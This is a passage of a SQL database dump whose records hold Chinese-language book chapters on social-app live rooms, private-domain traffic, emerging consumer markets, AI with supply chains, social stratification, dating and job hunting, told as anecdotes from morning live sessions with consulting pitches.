评论区留清单,引导加微信\n\n飞书这块(中台):\n- 表单收集需求\n- 工单跟进进度\n- 看板追踪SLA\n\n线下这块(交付):\n- 约见做方案交付复盘\n- 谁负责、几点办、办到什么程度\n- 写在客户卡片里\n\n这套结构,我们自己在用,也帮很多客户搭建过。\n\n---\n\n我在派对房里分享过我的真实数据:\n\n 67场直播,累计5500多分钟;\n\n- 单场额外曝光46182次,人均停留13-25分钟;\n\n- 加微信40多人,线上团队20多人,进派对群100多人(每日递增中);\n\n- 线下见面27-35人(本地+外地).\n\n\"Soul上的场观价值是抖音的20倍。抖音1000人场观可能加1个微信,Soul上40-50人场观能加2-5个微信。\"\n\n有个朋友问我为什么效率这么高:\n\n\"因为Soul是灵魂社交,来的人本来就是想链接的。不像抖音是娱乐消费,来的人只是看热闹。\"\n\n这就是平台选择的重要性,选对窗口,中台和线下才能发挥价值。\n\n---\n\n派对房里有人问:\"你觉得核心是什么?\"\n\n我说:\"承诺的可视化与节点的按时化。\"\n\n- 可视化是\"承诺曲线\"\n- 按时化是\"SLA\"\n- 所有承诺都在看板里\n- 所有按时都在曲线里\n\n\"我们不晒营收,我们晒兑现率与满意度。\"\n\n这也是我们帮客户做咨询时的核心指标。\n\n---\n\n如果你也想搭建这样的三位一体结构,可以来派对房聊聊。\n\n我们可以帮你:\n- 选择合适的窗口平台\n- 搭建飞书中台\n- 设计线下交付流程\n\n不是卖软件,是帮你建结构。\n\n---\n\n新型公司不是把三个工具摆在一起。\n\n是把\"看到你\"变成\"跟着你\",再把\"跟着你\"变成\"按时交付\"。\n\n- Soul是入口(窗)\n- 飞书是流程(中台)\n- 线下是结果(交付)\n\n不靠运气,靠结构。\n\n这是我们在67场派对房里验证出来的模式。\n', 1219, 0, 1.00, 58, 'published', '2026-01-25 21:02:09.000', '2026-03-10 06:25:50.116', 1, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (10, '11.1', 'part-5', '第五篇|真实的社会', 'chapter-11', '第11章|中国社会商业生态的未来', '私域经济:为什么流量越来越贵', '# 11.1 私域经济:为什么流量越来越贵\n\n\"五年前,抖音一个粉丝的获客成本可能只要几毛钱。现在呢?可能要十几块钱甚至几十块钱。\"\n\n2025年12月20日,周六,早上6点52分。\n\n那天派对房里聊起了流量成本,大家都有点感慨。\n\n有人问:\"为什么流量越来越贵?\"\n\n我说:\"因为供需关系变了。\"\n\n这是商业最基本的规律,但很多人看不清。\n\n---\n\n派对房里,有人说:\"什么意思?\"\n\n我说:\"你想想,五年前有多少人在抖音上做生意?\"\n\n\"可能只有几十万、几百万。\"\n\n\"现在呢?可能有几千万。\"\n\n\"但抖音的用户增长已经放缓了,日活就那么多。\"\n\n\"几千万商家抢几亿用户,流量当然贵了。\"\n\n---\n\n我继续说。\n\n\"这就是为什么大家都在讲私域。\"\n\n\"什么是私域?就是你自己的流量池。\"\n\n\"你的微信好友、你的社群、你的公众号粉丝,这些都是你的私域。\"\n\n\"私域的好处是什么?不用花钱买流量,可以反复触达。\"\n\n这也是我们一直在做的事情,把公域的流量沉淀到私域。\n\n---\n\n派对房里,有人问:\"但私域也不是免费的吧?\"\n\n我说:\"对,私域也有成本。\"\n\n\"你要花时间去维护,要花精力去运营,要提供价值才能留住人。\"\n\n\"但私域的成本是一次性的。\"\n\n\"你加一个微信好友,这个成本是一次性的。\"\n\n\"但你可以跟他聊一年、两年、十年,可以反复成交。\"\n\n---\n\n我停了一下。\n\n\"公域的成本是每次的。\"\n\n\"你在抖音投一次广告,花一次钱,获得一次曝光。\"\n\n\"下次还想曝光?再花钱。\"\n\n\"这就是公域和私域的本质区别。\"\n\n这个逻辑,我们在帮客户做咨询时会反复讲。\n\n---\n\n派对房里,有人说:\"那是不是应该全力做私域?\"\n\n我说:\"不是。\"\n\n\"私域和公域是配合的关系,不是替代的关系。\"\n\n---\n\n我继续说。\n\n\"你想想,你的私域从哪里来?\"\n\n\"还是要从公域引过来。\"\n\n\"你在抖音发视频,有人看了觉得有价值,加你微信,这就是从公域到私域。\"\n\n\"你在小红书发笔记,有人看了想了解更多,关注你的公众号,这也是从公域到私域。\"\n\n---\n\n我停了一下。\n\n\"所以正确的做法是什么?\"\n\n\"在公域获取流量,在私域沉淀流量,在私域变现流量。\"\n\n\"公域是入口,私域是蓄水池。\"\n\n这就是我们在Soul上做的事情,Soul是公域入口,微信是私域蓄水池。\n\n---\n\n派对房里,有人问:\"那私域怎么运营?\"\n\n我说:\"有几个关键点。\"\n\n\"第一,提供价值。你不能天天发广告,要发有用的内容。\"\n\n\"第二,建立信任。你要让用户觉得你是靠谱的,是值得信任的。\"\n\n\"第三,保持互动。你要跟用户聊天,了解他们的需求,让他们感受到你的存在。\"\n\n---\n\n我继续说。\n\n\"很多人做私域,犯的最大错误是什么?\"\n\n\"是把私域当成广告渠道。\"\n\n\"天天发广告、发促销、发链接。\"\n\n\"结果呢?用户要么屏蔽你,要么删除你。\"\n\n---\n\n我停了一下。\n\n\"私域的本质是什么?是关系。\"\n\n\"你跟用户的关系越深,他越愿意买你的东西。\"\n\n\"你跟用户的关系越浅,他越容易被别人抢走。\"\n\n这也是我们在做社群运营时的核心原则。\n\n---\n\n派对房里,有人说:\"那私域能做多大?\"\n\n我说:\"取决于你的能力和精力。\"\n\n\"一个人能维护的私域,可能就几千人。\"\n\n\"再多就需要团队,需要系统,需要工具。\"\n\n---\n\n我继续说。\n\n\"但私域不需要做很大。\"\n\n\"你有1000个铁杆粉丝,每个人一年在你这里消费1000块,你就有100万的营收。\"\n\n\"这就是凯文·凯利说的‘1000个铁杆粉丝理论’。\"\n\n---\n\n那天聊完,我在派对房里总结了一下。\n\n\"流量越来越贵,这是趋势,改变不了。\"\n\n\"你能做的是什么?\"\n\n\"第一,提高流量的转化率:同样的流量,你能转化更多,你就赢了。\"\n\n\"第二,提高用户的复购率:一个用户买一次和买十次,价值完全不一样。\"\n\n\"第三,建立自己的私域:把流量变成自己的,而不是每次都要花钱买。\"\n\n---\n\n如果你也在为流量发愁,欢迎来派对房聊聊。\n\n我们可以帮你梳理你的流量结构,看看哪里可以优化。\n\n不卖课,只分享我们的经验。\n\n---\n\n在流量越来越贵的时代,你需要换一种思维。\n\n从\"买流量\"到\"养流量\";\n\n从\"一次成交\"到\"终身价值\";\n\n从\"追逐平台\"到\"建立自己的池子\"。\n\n这就是私域经济的本质。\n\n我们能做的,就是帮你建立这个池子。\n', 1639, 0, 1.00, 59, 'published', '2026-01-25 21:02:09.000', '2026-03-10 06:25:50.128', 12, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (11, '11.2', 'part-5', '第五篇|真实的社会', 'chapter-11', '第11章|中国社会商业生态的未来', '银发经济与孤独经济:两个被忽视的万亿市场', '# 11.2 银发经济与孤独经济:两个被忽视的万亿市场\n\n\"中国有2.8亿老年人,有2亿单身人口。这两个群体,是被严重低估的市场。\"\n\n2025年12月27日,周六,早上6点38分。\n\n那天派对房聊起了未来的商业机会,气氛很热烈。\n\n有人问:\"你觉得未来什么赛道最有前景?\"\n\n我说:\"银发经济和孤独经济。\"\n\n房间里安静了一秒,然后问题涌来。\n\n---\n\n派对房里,有人说:\"银发经济我听说过,孤独经济是什么?\"\n\n我说:\"孤独经济就是针对单身人群、独居人群的消费市场。\"\n\n\"你想想,一个单身的年轻人,他的消费习惯跟有家庭的人是完全不同的。\"\n\n---\n\n我继续说。\n\n\"他可能不做饭,天天点外卖。\"\n\n\"他可能不买大包装的东西,都买小包装的。\"\n\n\"他可能不去大型超市,都去便利店。\"\n\n\"他可能不看电视,都刷短视频、玩游戏。\"\n\n\"他可能不社交,但会养宠物、会追星、会加入各种线上社群。\"\n\n---\n\n我停了一下。\n\n\"这些消费习惯背后,是一个巨大的市场。\"\n\n\"一人食、一人住、一人玩、一人旅行。\"\n\n\"每一个细分领域,都是千亿级别的市场。\"\n\n这也是为什么我们在Soul上做派对房,Soul本身就是孤独经济的产物。\n\n---\n\n派对房里,有人问:\"那银发经济呢?\"\n\n我说:\"银发经济更大。\"\n\n\"中国现在有2.8亿60岁以上的老年人。\"\n\n\"到2035年,这个数字会超过4亿。\"\n\n\"4亿人,每个人每年消费1万块,就是4万亿的市场。\"\n\n---\n\n我继续说。\n\n\"但现在大部分企业都在追年轻人。\"\n\n\"为什么?因为年轻人好触达,年轻人愿意尝新,年轻人在社交媒体上活跃。\"\n\n\"但年轻人的钱不好赚。\"\n\n\"为什么?因为年轻人没钱,年轻人生活在互联网时代,选择太多缺少忠诚度。\"\n\n---\n\n我停了一下。\n\n\"老年人呢?\"\n\n\"老年人有钱。他们工作了一辈子,有积蓄,有退休金。\"\n\n\"老年人愿意花钱。他们不用攒钱买房、不用养孩子、不用还贷款。\"\n\n\"老年人忠诚度高。他们一旦认准了一个品牌,就会一直用。\"\n\n这是我们在帮一些做大健康的客户做咨询时发现的规律。\n\n---\n\n派对房里,有人说:\"但老年人不会用互联网啊。\"\n\n我说:\"这是五年前的观念了。\"\n\n\"你看看现在的老年人,有多少在刷抖音追短剧?有多少在用微信?有多少在拼多多、视频号上买东西?\"\n\n\"他们可能不会用复杂的功能,但基本的操作都会。\"\n\n---\n\n我继续说。\n\n\"而且老年人的互联网使用率还在快速增长。\"\n\n\"因为现在50多岁、60岁的人,他们年轻的时候就接触过电脑、接触过手机。还有很多地方的老年大学专门教老年人用这些\n\n软件,专门开了课程。\"\n\n\"再过十年,70岁的老年人可能比现在60岁老年人更会用互联网。\"\n\n---\n\n派对房里,有人问:\"那针对老年人的生意有哪些?\"\n\n我说:\"太多了。\"\n\n\"健康相关的:保健品、体检、康复、护理。\"\n\n\"生活相关的:家政、适老化改造、老年旅游、老年教育。\"\n\n\"情感相关的:陪伴服务、老年社交、老年婚恋。\"\n\n\"金融相关的:养老理财、以房养老、遗产规划等。\"\n\n---\n\n我停了一下。\n\n\"但做老年人生意,有一个很重要的点。\"\n\n\"就是你不能把老年人当老年人。\"\n\n---\n\n派对房里,有人问:\"什么意思?\"\n\n我说:\"很多企业做老年人产品,都带着一种俯视的心态。\"\n\n\"觉得老年人不懂、老年人好骗、老年人需要被照顾。\"\n\n\"这种心态做出来的产品,老年人是不买账的。\"\n\n---\n\n我继续说。\n\n\"现在的老年人,尤其是城市里的老年人,他们不觉得自己老。\"\n\n\"他们有自己的审美、有自己的追求、有自己的社交圈。\"\n\n\"他们不想被当成需要照顾的人,他们想被当成有价值的人。\"\n\n这也是我们在做私域运营时的一个重要原则,尊重用户,而不是俯视用户。\n\n---\n\n那天聊完,派对房里有人说:\"我觉得Soul就是一个孤独经济的产品。\"\n\n我说:\"对。\"\n\n\"Soul为什么能火?因为它解决的是年轻人的孤独问题。\"\n\n\"在现实中找不到人聊天,在Soul上可以。\"\n\n\"在现实中没有人理解你,在Soul上可以找到同类。\"\n\n---\n\n我停了一下。\n\n\"孤独是这个时代最普遍的情绪。\"\n\n\"不管你是20岁还是60岁,不管你是单身还是有家庭。\"\n\n\"每个人都有孤独的时刻。\"\n\n\"谁能解决孤独,谁就能赚到钱。\"\n\n这也是我们每天早上6点开播的原因,陪伴本身就是价值。\n\n---\n\n如果你也在寻找新的商业机会,欢迎来派对房聊聊。\n\n我们可以帮你分析你的资源和能力,看看适合做什么。\n\n不收费,只要你认真。\n\n---\n\n商业机会往往藏在被忽视的地方。\n\n大家都在追年轻人的时候,老年人市场是蓝海。\n\n大家都在做社交的时候,解决孤独的产品是蓝海。\n\n发现被忽视的需求,满足被忽视的人群。\n\n这就是找到商业机会的底层逻辑。\n\n我们能做的,就是帮你发现这些机会。\n', 1828, 0, 1.00, 60, 'published', '2026-01-25 21:02:09.000', '2026-03-10 06:25:50.139', 4, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (12, '11.3', 'part-5', '第五篇|真实的社会', 'chapter-11', '第11章|中国社会商业生态的未来', '流量红利的终局', '# 11.3 流量红利的终局\n\n红利的终局不是一笔大钱,是你有结构与曲线。\n\n2025年12月29日,周一,早上7点25分。\n\n那天派对房里来了个做内容的朋友,语气有点焦虑。\n\n他说:\"平台红利总在说,到底怎么拿?\"\n\n我问:\"你每个月愿意为结构与几率付多少?\"\n\n他笑了:\"只要能稳。\"\n\n我说:\"那我们从头聊。\"\n\n---\n\n那天早上,我们深入讨论了流量红利的话题。\n\n有个做了很久私域的朋友分享了他的观察:\n\n\"现在割韭菜也割不动。从最开始的19年、20年的时候,教电商的、教DY电商的,教的挺多的。那个时候好割,现在不好割\n\n了,现在线上没多少割不动。\"\n\n\"现在你整个的一个方向一定是往合理合法的方向去走,往合理合法的方向走会机会很多。\"\n\n另一个朋友说得更直接:\n\n\"以前矩阵放大解决微信号玩法已经结束了,这个基本都已经默认掉了大部分。现在前端引流的成本太高了。\"\n\n这就是红利终局的真相,野蛮时代结束了,结构时代开始了。\n\n---\n\n在派对房里,我们把红利分成两部分:\n\n第一阶段:窗口期\n- 新平台的推荐红利\n- 低成本获客\n- 快速规模化\n\n第二阶段:结构期\n- 私域沉淀\n- 复购变现\n- 系统化运营\n\n有个朋友分享了他的经验:\n\n\"我最多的一天直播间在线能拉到1万多人。连着差不多有小一个月,平时正常在线就是两三千人。那个东西利润是70%,成\n\n本可能只有30%左右。\"\n\n\"但是后来出了事,设备就是作案工具全部没收了。以前的朋友就没联系了。圈子换一换,有时候是个好事。\"\n\n红利不是终点,结构才是。\n\n这也是我们在帮客户做咨询时反复强调的,不要只看眼前的红利,要建立长期的结构。\n\n---\n\n派对房里,很多人问我Soul的红利在哪里。\n\n我的观察是:\n\n\"Soul现在打法有点像11年的QQ、14年的微信,跟17年的抖音很像。他现在做内部的人群分层跟流量池的搭建。\"\n\n\"Soul上的场观价值是抖音的20倍。抖音1000人场观可能加1个微信,Soul上40-50人场观能加2-5个微信。\"\n\n这就是红利的本质,不是平台给你流量,是平台给你\"对的人\"。\n\n---\n\n基于派对房的讨论,我们总结出红利终局的三个要素:\n\n1. 结构:第8秒反转、评论拿清单、加微信进群\n2. 纪律:每天开播、每周复盘、每月升级\n3. 曲线:承诺兑现率、复购率、转介绍率\n\n\"我们不晒营收,我们看曲线。\"\n\n这套方法论,我们可以帮你落地。\n\n---\n\n如果你也在追红利,欢迎来派对房聊聊。\n\n我们可以帮你分析你现在的状态,看看是在窗口期还是结构期。\n\n不同阶段,打法不一样。\n\n---\n\n红利的终局不是一笔大钱,是你有结构与曲线。\n\n- 窗口只给结构与纪律的人\n- 终局只留给复购与兑现的人\n\n把\"窗口\"当作\"入口\",把\"私域\"当作\"终局\"。\n\n这是我们在67场派对房里验证出来的规律。\n', 1079, 0, 1.00, 61, 'published', '2026-01-25 21:02:09.000', '2026-03-10 06:25:50.151', 2, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (13, '11.4', 'part-5', '第五篇|真实的社会', 'chapter-11', '第11章|中国社会商业生态的未来', '大模型 + 供应链的组合拳', '# 11.4 大模型 + 供应链的组合拳\n\nAI是窗,供应链是墙,合规是地基。\n\n2025年12月30日,周二,早上7点45分。\n\n那天派对房里来了个技术合伙人,问题很专业。\n\n他说:\"我们接入了大模型,但利润还是薄,怎么打组合拳?\"\n\n我问:\"你每个月愿意为前端AI+后端供应链+合规托底付多少?\"\n\n他点点头:\"只要能稳。\"\n\n我说:\"那我们从头拆一遍。\"\n\n---\n\n那天早上,我们深入讨论了AI与供应链的结合。\n\n有个做了很久电竞的朋友分享了他的观察:\n\n\"AI它现在是这样的,所有的行业出来都是有巨大泡沫的,有泡沫才会有资本进去,才能发得起这么多高薪人才的工资,才\n\n能把整个行业的足够多的投入,它才能做起来。\"\n\n\"这次AI我自己的感觉比互联网出来还强十倍。因为我们2000年就在玩互联网,刚起来的时候我们就在从业了。互联网只革\n\n命了一小部分的行业,现在AI革命了几乎所有,太可怕了。\"\n\n另一个朋友说得更务实:\n\n\"实际的跟科技没有改变太多,就是降本增效。实际的应用没有改变太多,这些都只是工具层面的提效,你的效率更好,体验\n\n更好,没有改变本质。\"\n\n\"但它有一个好处是什么?提升了一些竞争力。比如我们公司用了AI,整体的人效就提升30%,那我就愿意把这30%拿出来再\n\n投AI的团队。那你不用,你就被我卷。\"\n\n这就是AI的真相,不是颠覆,是提效。\n\n---\n\n派对房里,我们讨论了几个真实的AI应用案例:\n\n案例1:体检报告分析\n\n\"厦门这边,国宇做体检报告的分析,以前还要一堆专家,现在专家分析的没AI 9块9分析的好。当时专家分析一份3000块\n\n钱。\"\n\n案例2:直升机AI导航\n\n\"今天早上有一个坐直升机的过来,在我们这边帝景苑那边已经试飞了一场。他们也有卡点,起飞的时候会出现向下压的气压\n\n问题。他想去用AI去分析这个东西,而不是用纯人工的形式来做。\"\n\n案例3:学校AI课程\n\n\"11月份有一个国际的AI展会在厦门举办,其中有一个很重要的事情就是给高职学校输出AI应用的课程。我那朋友对接的就\n\n是全国2000万中职的学生来学这个AI的课程。\"\n\n这些案例都说明一个问题,AI只是工具,关键是怎么用。\n\n---\n\n基于派对房的讨论,我们把组合拳拆成三段:\n\n前端AI(窗):\n- 模板库/共鸣句库\n- 轻动作自动化(清单/登记/预约/随访)\n- 三处质检点\n\n后端供应链(链):\n- 后端五问(货/价/期/质/服)\n- 三周修链计划\n- 退换/投诉/毛利三曲线\n\n合规托底(底):\n- 政策与托底(残疾人用工/退税一体化)\n- 异常升级路径\n- 双确认与公账\n\n\"窗把人带来,链把利润留住,底把风险压住。\"\n\n这套结构,我们可以帮你从0搭建。\n\n---\n\n如果你也在做AI+供应链的事情,欢迎来派对房聊聊。\n\n我们可以帮你梳理你的前端、后端和合规,看看哪里有漏洞。\n\n不卖软件,只帮你建结构。\n\n---\n\nAI不是核心,链与底才是。\n\n- 把\"窗的承诺\"变成\"链的利润\"\n- 再用\"底\"把风险封住\n\nAI是窗,供应链是墙,合规是地基。\n\n三者缺一不可。\n\n这是我们在帮多个客户做咨询时总结出来的框架。\n', 1194, 0, 1.00, 62, 'published', '2026-01-25 21:02:09.000', '2026-03-10 06:25:50.162', 1, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (14, '11.5', 'part-5', '第五篇|真实的社会', 'chapter-11', '第11章|中国社会商业生态的未来', '社会分层的最终逻辑', '# 11.5 社会分层的最终逻辑\n\n分层不是宿命,是结构选择的结果。\n\n2025年12月31日,周三,早上8点25分。\n\n年末的最后一天,派对房里来了个年轻人,问了一个很大的问题。\n\n他说:\"未来到底分成几种人?\"\n\n我问:\"你每个月愿意为成为做系统的人付多少?\"\n\n他沉默了一下:\"70%。\"\n\n我说:\"那我们先聊聊什么是做系统的人。\"\n\n---\n\n那天早上,我们深入讨论了社会分层的话题。\n\n有个做了很多年私域的朋友分享了他的观察:\n\n\"现在都要转型了。我们接触的一些公司以前按分层的阿米巴形式走,现在都大部分都直接发工资了。SOP化资源导入,咔咔\n\n干活。解释成本很低。\"\n\n\"阿米巴形式不好管理,最早的时候类似于传销的用的比较多。阿米巴巴不起来啊,环境也确实不好。经济下行讲究资源,实\n\n力能扛得住,不然都饿死了。\"\n\n另一个朋友说得更直接:\n\n\"有些小白你是怎么跟他聊都聊不到一起去,他也听不懂。你跟他聊纯粹浪费时间了。他就做基础的,你SOP给他,今天就是\n\n这6个小时就干这个事情,咔咔干,然后没结果我就把他筛选掉了。\"\n\n这就是分层的真实逻辑,不是你想在哪一层,是你能做到哪一层。\n\n---\n\n在派对房里,我们把分层归纳为三类:\n\n做系统的人:\n- 写SOP\n- 设质检点\n- 建看板与曲线\n\n用系统的人:\n- 按节点执行\n- 按要求复盘\n- 拿结果分红\n\n被系统淘汰的人:\n- 靠激情与感觉\n- 听不懂策略\n- 聊不到一起去\n\n有个朋友分享了他的用人经验:\n\n\"现在是缺比较缺项目负责人执行的,能跟进团队的,然后又听得懂策略,我资源是蛮多的。\"\n\n\"不是说刚接触这一行的,就是有些小白你是怎么跟他聊都聊不到一起去。做操盘手的,你一聊,他都懂了,顺藤摸瓜一下,\n\n前前后端话术抄一下。\"\n\n---\n\n派对房里,我们讨论了一个真实的分层案例:\n\n\"我早期14年的时候带了一群游戏主播,教他们打粉、直播、把粉丝引到微信里面去。最早的时候是七三开我拿七他三,后\n\n面变成三七开他拿七,到16年的时候我拿1%,最后1%都没有。\"\n\n\"人性不要去挑战的,不管关系多好。\"\n\n后来他学聪明了:\n\n\"后面非常简单,就是做流程拆解。你直播间就好好玩游戏,我给你钱就行,养着你就可以了。后面成交转化产品供应链所有\n\n的流程,我给你配团队,全部来做完。\"\n\n\"他就不需要学太多。要去比赛,我保你比赛赞助给你。每个月分个一万两万给你。后端所有的人做重的全部放公司底下。\"\n\n这就是分层的终极形态,做系统的人设计结构,用系统的人执行结构,被淘汰的人连结构都进不去。\n\n---\n\n基于派对房的讨论,我们总结出成为\"做系统的人\"的路径:\n\n1. 能听懂策略:不是只会执行,要理解为什么\n2. 能跟进团队:不是只管自己,要能带人\n3. 能建立结构:不是只做动作,要能写SOP\n4. 能看懂曲线:不是只看数字,要能复盘\n\n\"你想成为哪一种人,取决于你愿意为系统付出多少。\"\n\n这也是我们在做咨询时帮客户梳理的,你现在在哪一层,你想去哪一层,怎么从这里到那里。\n\n---\n\n如果你也想成为做系统的人,欢迎来派对房聊聊。\n\n我们可以帮你评估你现在的能力,看看缺什么、怎么补。\n\n不收费,只要你认真。\n\n---\n\n分层不是宿命,是结构选择的结果。\n\n- 做系统的人写结构\n- 用系统的人跑结构\n- 结构自然淘汰\"靠感觉的\"\n\n把\"人\"变成\"结构\",把\"结构\"变成\"曲线\"。\n\n这是我们在派对房里见证过无数次的规律。\n\n你想站在哪一层,取决于你愿意付出什么。\n\n我们能做的,就是帮你看清楚这条路。\n', 1347, 0, 1.00, 63, 'published', '2026-01-25 21:02:09.000', '2026-03-10 06:25:50.174', 2, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (15, '2.1', 'part-1', '第一篇|真实的人', 'chapter-2', '第2章|人性困境案例', '相亲故事:你以为找的是人,实际是在找模式', '\"相亲这件事,90%的人都搞错了方向。\"\n\n2025年11月22日,周六,早上6点15分。\n\n那天的派对房话题有点私密,聊起了相亲这件事。\n\n有人说:\"我相了十几次亲,一个都没成。\"\n\n我问:\"你觉得问题出在哪里?\"\n\n他说:\"可能是我条件不够好吧。\"\n\n我说:\"不对。问题不在条件,在思维方式。\"\n\n---\n\n派对房里,有人问:\"什么意思?\"\n\n我说:\"大部分人相亲,都在找一个\'人\'。\"\n\n\"他们列一堆条件:身高多少、学历多少、收入多少、长相怎么样。\"\n\n\"然后去相亲,看对方符不符合这些条件。\"\n\n\"符合就继续聊,不符合就下一个。\"\n\n---\n\n我继续说。\n\n\"但这种思维方式有一个问题。\"\n\n\"就是你永远在找一个\'完美的人\',但完美的人不存在。\"\n\n\"或者说,完美的人存在,但他凭什么选你?\"\n\n---\n\n派对房里,有人说:\"那应该怎么找?\"\n\n我说:\"你不应该找人,你应该找\'模式\'。\"\n\n---\n\n我停了一下。\n\n\"什么叫找模式?\"\n\n\"就是你要想清楚,你想要的是什么样的生活,然后找一个能跟你一起过这种生活的人。\"\n\n---\n\n我举了个例子。\n\n\"比如你想要的生活是:两个人一起创业,白天各忙各的,晚上一起吃饭聊天,周末一起出去玩。\"\n\n\"那你找对象的时候,就不应该只看条件,而应该看这个人能不能跟你过这种生活。\"\n\n\"他愿不愿意支持你创业?他能不能接受你忙?他对生活的期待跟你一不一样?\"\n\n---\n\n派对房里,有人说:\"但条件不重要吗?\"\n\n我说:\"条件重要,但条件是筛选器,不是目标。\"\n\n\"你用条件来筛选,是为了提高效率。\"\n\n\"但最终决定你们能不能在一起的,不是条件,是\'模式匹配\'。\"\n\n---\n\n我继续说。\n\n\"我见过很多条件很好的人,相亲失败。\"\n\n\"为什么?因为他们只看条件,不看模式。\"\n\n\"两个人条件都很好,但一个想安稳,一个想折腾。\"\n\n\"一个想早点结婚生孩子,一个想先拼事业。\"\n\n\"这种情况,条件再好也没用。\"\n\n---\n\n派对房里,有人问:\"那怎么找到模式匹配的人?\"\n\n我说:\"首先,你要想清楚自己想要什么。\"\n\n\"很多人相亲失败,不是因为找不到人,是因为自己都不知道自己要什么。\"\n\n\"你问他想找什么样的人,他说\'合适的\'。\"\n\n\"什么叫合适?他说不出来。\"\n\n---\n\n我停了一下。\n\n\"其次,你要学会在聊天中挖掘对方的\'模式\'。\"\n\n\"不要只聊表面的东西,要聊深层的东西。\"\n\n\"比如你可以问:你未来五年有什么规划?你理想的生活是什么样的?你怎么看待工作和家庭的关系?\"\n\n\"这些问题能帮你快速判断对方的模式跟你匹不匹配。\"\n\n---\n\n派对房里,有人说:\"但这样聊会不会太严肃了?\"\n\n我说:\"不会。\"\n\n\"如果对方觉得这些问题太严肃,那说明他还没准备好认真找对象。\"\n\n\"你也不用浪费时间了。\"\n\n---\n\n那天聊完,派对房里有人说:\"我明白了,相亲不是找人,是找生活方式。\"\n\n我说:\"对。\"\n\n\"你找的不是一个人,是一个能跟你一起生活的伙伴。\"\n\n\"这个伙伴的条件可能不是最好的,但他愿意跟你一起走。\"\n\n\"这比条件重要一万倍。\"\n\n---\n\n我停了一下。\n\n\"还有一点很重要。\"\n\n\"就是你自己也要成为别人想要的\'模式\'的一部分。\"\n\n\"你想找一个上进的人,那你自己上不上进?\"\n\n\"你想找一个有趣的人,那你自己有不有趣?\"\n\n\"相亲是双向选择,你在挑别人的时候,别人也在挑你。\"\n\n---\n\n早上7点22分,那个相了十几次亲的人说:\"我回去想想我到底要什么样的生活。\"\n\n我说:\"这就对了。\"\n\n\"先想清楚自己要什么,再去找。\"\n\n\"盲目地找,只会越找越迷茫。\"\n\n\"清醒地找,才能找到对的人。\"', 3914, 0, 1.00, 6, 'published', '2026-01-25 21:02:08.000', '2026-03-10 06:25:49.526', 19, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (16, '2.2', 'part-1', '第一篇|真实的人', 'chapter-2', '第2章|人性困境案例', '找工作迷茫者:为什么简历解决不了人生', '# 2.2 找工作迷茫者:为什么简历解决不了人生\n\n\"我改了二十多版简历,还是找不到工作。\"\n\n2025年12月6日,周六,早上6点28分。\n\n那天派对房里来了个刚毕业的大学生,声音里带着迷茫。\n\n他说他投了几百份简历,面试了十几家公司,但一个offer都没拿到。\n\n\"你觉得问题出在哪里?\"\n\n\"可能是我简历写得不够好。\"\n\n\"不对。问题不在简历,在你自己。\"\n\n---\n\n派对房里,有人问:\"什么意思?\"\n\n我说:\"简历只是一个载体,它展示的是你这个人。\"\n\n\"如果你这个人没有亮点,简历写得再好也没用。\"\n\n\"反过来,如果你这个人有亮点,简历写得差一点也能被看到。\"\n\n---\n\n我继续说。\n\n\"很多人找工作,把所有精力都放在改简历上。\"\n\n\"改格式、改措辞、改排版。\"\n\n\"但他们忽略了一个问题:简历上写的东西,是真的吗?\"\n\n---\n\n派对房里,那个大学生说:\"当然是真的啊。\"\n\n我说:\"我不是说你造假。\"\n\n\"我是说,你简历上写的那些经历,真的能证明你的能力吗?\"\n\n---\n\n我举了个例子。\n\n\"比如你写\'曾在某公司实习三个月\'。\"\n\n\"这三个月你做了什么?学到了什么?有什么成果?\"\n\n\"如果你只是去打杂、复印、跑腿,那这段经历没有任何价值。\"\n\n\"但如果你在这三个月里独立完成了一个项目,或者解决了一个问题,那就不一样了。\"\n\n---\n\n派对房里,有人说:\"但我没有那么厉害的经历啊。\"\n\n我说:\"那就去创造。\"\n\n\"你现在没有工作,有的是时间。\"\n\n\"你可以做一个自己的项目,可以参加一个比赛,可以学一个新技能。\"\n\n\"这些都是可以写在简历上的。\"\n\n---\n\n我继续说。\n\n\"很多人找工作的思路是:先找到工作,再去学习。\"\n\n\"但正确的思路是:先学习,再找工作。\"\n\n\"你要先让自己变得有价值,然后工作自然会来找你。\"\n\n---\n\n派对房里,那个大学生说:\"但我不知道学什么啊。\"\n\n我说:\"这就是你真正的问题。\"\n\n\"你不是找不到工作,你是不知道自己要什么。\"\n\n---\n\n我停了一下。\n\n\"你想做什么工作?你擅长什么?你对什么感兴趣?\"\n\n\"这些问题你想清楚了吗?\"\n\n他沉默了一会儿,说:\"没有。\"\n\n---\n\n我说:\"那你先别急着投简历了。\"\n\n\"先花一个月时间,想清楚这些问题。\"\n\n\"去尝试不同的事情,去跟不同的人聊天,去探索自己。\"\n\n\"等你想清楚了,再去找工作。\"\n\n---\n\n派对房里,有人问:\"但不找工作怎么生活?\"\n\n我说:\"可以先找一个过渡性的工作。\"\n\n\"不一定是你理想的工作,但能让你活下去。\"\n\n\"然后用业余时间去探索、去学习、去准备。\"\n\n\"等你准备好了,再跳到你真正想做的工作。\"\n\n---\n\n那天聊完,派对房里有人说:\"我觉得你说得对,但好难啊。\"\n\n我说:\"当然难。\"\n\n\"如果容易,大家都能找到好工作了。\"\n\n\"但难不代表做不到。\"\n\n\"你只需要比别人多想一步、多做一点,你就能脱颖而出。\"\n\n---\n\n我停了一下。\n\n\"找工作这件事,本质上是一个\'匹配\'的过程。\"\n\n\"公司在找能创造价值的人,你在找能发挥你价值的平台。\"\n\n\"如果你自己都不知道自己的价值是什么,怎么可能匹配成功?\"\n\n---\n\n这本书的真实目的,不是教你怎么写简历。\n\n而是告诉你,找工作的困境,往往不是技巧的问题,而是方向的问题。\n\n你要先知道自己是谁、想要什么,然后才能找到适合你的工作。\n\n简历只是一张纸,真正决定你命运的,是纸背后的那个人。\n', 1292, 0, 1.00, 7, 'published', '2026-01-25 21:02:08.000', '2026-03-10 06:25:49.537', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (17, '2.3', 'part-1', '第一篇|真实的人', 'chapter-2', '第2章|人性困境案例', '撸运费险:小钱困住大脑的真实心理', '# 2.3 